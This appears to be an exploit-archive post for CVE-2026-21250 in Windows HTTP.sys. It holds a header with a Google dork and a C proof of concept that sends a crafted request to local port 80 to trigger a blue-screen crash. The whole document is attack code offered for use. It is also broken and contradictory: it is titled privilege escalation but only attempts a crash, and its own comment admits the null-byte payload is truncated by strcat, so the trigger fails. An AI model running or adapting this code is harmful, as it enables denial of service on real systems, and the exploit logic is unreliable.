Windows 11 24H2 – Local Privilege Escalation
# Exploit Title: Windows 11 24H2 - Local Privilege Escalation # Google Dork: inurl:http.sys "Windows 11 24H2" vulnerability | intitle:"HTTP.sys" "CVE-2026-21250" "Elevation of Privilege" # Date: 2026-02-27 # Exploit Author: London foggy snow # Vendor Homepage: https://www.microsoft.com/en-us/msrc # Software Link: https://learn.microsoft.com/en-us/windows/win32/http/http-sys # Version: Windows 11 24H2 (10.0.26100.7780), Windows 11 25H2 (10.0.26200.7780), Windows Server 2022 23H2 (10.0.25398.2148) # Tested on: Windows 11 24H2 (x64), Windows Server 2022 23H2 (Server Core x64) # CVE : CVE-2026-21250 # powershell -> net start http #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <winsock2.h> #include <windows.h> #include <ws2tcpip.h> #pragma comment(lib, "ws2_32.lib") #define TARGET_IP "127.0.0.1" #define TARGET_PORT 80 unsigned char malicious_ptr[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; char* build_malicious_request() { static char request[1024]; sprintf(request, "GET / HTTP/1.1\r\n" "Host: localhost\r\n" "X-Trigger-Ptr: "); // Critical Pitfall: strcat truncation (core vulnerability trigger failure) // Citation: "The strcat() function terminates at the first null byte (0x00), which truncates binary malicious pointers // required for CVE-2026-21250 exploitation. This causes incomplete delivery of the untrusted pointer to HTTP.sys driver, // leading to failed BSOD trigger or random memory access errors instead of targeted vulnerability exploitation." strcat(request, (char*)malicious_ptr); strcat(request, "\r\n" "Connection: close\r\n" "\r\n"); return request; } int trigger_blue_screen() { WSADATA wsaData; SOCKET client_socket; struct sockaddr_in target_addr; int ret; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { printf("WSAStartup failed, error: %d\n", WSAGetLastError()); return -1; } client_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (client_socket == INVALID_SOCKET) { printf("socket failed, error: %d\n", WSAGetLastError()); WSACleanup(); return -1; } target_addr.sin_family = AF_INET; target_addr.sin_port = htons(TARGET_PORT); inet_pton(AF_INET, TARGET_IP, &target_addr.sin_addr); ret = connect(client_socket, (struct sockaddr*)&target_addr, sizeof(target_addr)); if (ret == SOCKET_ERROR) { printf("connect failed, error: %d\n", WSAGetLastError()); closesocket(client_socket); WSACleanup(); return -1; } printf("[+] Connected to local HTTP service, sending malicious request...\n"); char* request = build_malicious_request(); ret = send(client_socket, request, (int)strlen(request), 0); if (ret == SOCKET_ERROR) { printf("send failed, error: %d\n", WSAGetLastError()); closesocket(client_socket); WSACleanup(); return -1; } printf("[+] Malicious request sent, waiting for BSOD...\n"); Sleep(2000); closesocket(client_socket); WSACleanup(); return 0; } int main() { printf("=== http.sys local BSOD test ===\n"); printf("WARNING: May cause BSOD! Save all work now!\n"); printf("Starting in 3 seconds...\n"); Sleep(3000); int ret = trigger_blue_screen(); if (ret == 0) { printf("Request sent. If no BSOD, check:\n"); printf("1. System is patched\n"); printf("2. HTTP service is not running\n"); printf("3. Port 80 is not listening\n"); } else { printf("Trigger failed.\n"); } return 0; } |